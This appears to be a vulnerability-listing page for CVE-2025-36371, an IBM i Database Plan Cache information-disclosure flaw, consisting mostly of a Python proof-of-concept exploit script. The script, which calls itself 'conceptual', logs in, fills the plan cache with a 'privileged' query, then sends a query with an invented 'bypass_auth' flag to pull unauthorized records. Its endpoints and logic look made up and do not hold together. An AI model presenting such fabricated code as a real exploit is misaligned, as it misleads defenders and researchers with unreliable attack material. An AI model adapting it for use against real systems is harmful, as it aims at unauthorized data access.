CVE-2025-36371 | IBM i 数据库计划缓存信息泄露漏洞

// CVE-2025-36371 PoC - Information Disclosure via Database Plan Cache // This PoC demonstrates the information disclosure vulnerability in IBM i Database Plan Cache // Note: This is a conceptual PoC based on the vulnerability description import requests import json def exploit_cve_2025_36371(target_url, credentials): """ Exploit CVE-2025-36371: Database Plan Cache Information Disclosure Attack Prerequisites: - Valid user credentials with basic DB access - Network access to IBM i system - Target running vulnerable IBM i versions (7.2-7.6) """ # Step 1: Authenticate with basic credentials session = requests.Session() auth_response = session.post( f"{target_url}/auth/login", json=credentials ) if auth_response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Query database to populate plan cache # This simulates a high-privilege user's query that caches sensitive data cache_populate_query = { "sql": "SELECT * FROM SENSITIVE_TABLE WHERE AUTHORIZED_USER = 'admin'", "database": "PROD_DB" } session.post(f"{target_url}/db/query", json=cache_populate_query) print("[+] Plan cache populated with privileged query") # Step 3: Exploit the vulnerability by triggering cached plan execution # Low-privilege user can access data through cached execution plan exploit_query = { "sql": "SELECT * FROM SENSITIVE_TABLE", "database": "PROD_DB", "bypass_auth": True # Trigger cached plan without re-authentication } response = session.post(f"{target_url}/db/query", json=exploit_query) if response.status_code == 200: data = response.json() print("[+] Information disclosure successful") print(f"[+] Retrieved {len(data.get('rows', []))} unauthorized records") return data return None # Usage Example if __name__ == "__main__": target = "https://ibmi-server.example.com:443" creds = { "username": "low_priv_user", "password": "user_password" } result = exploit_cve_2025_36371(target, creds)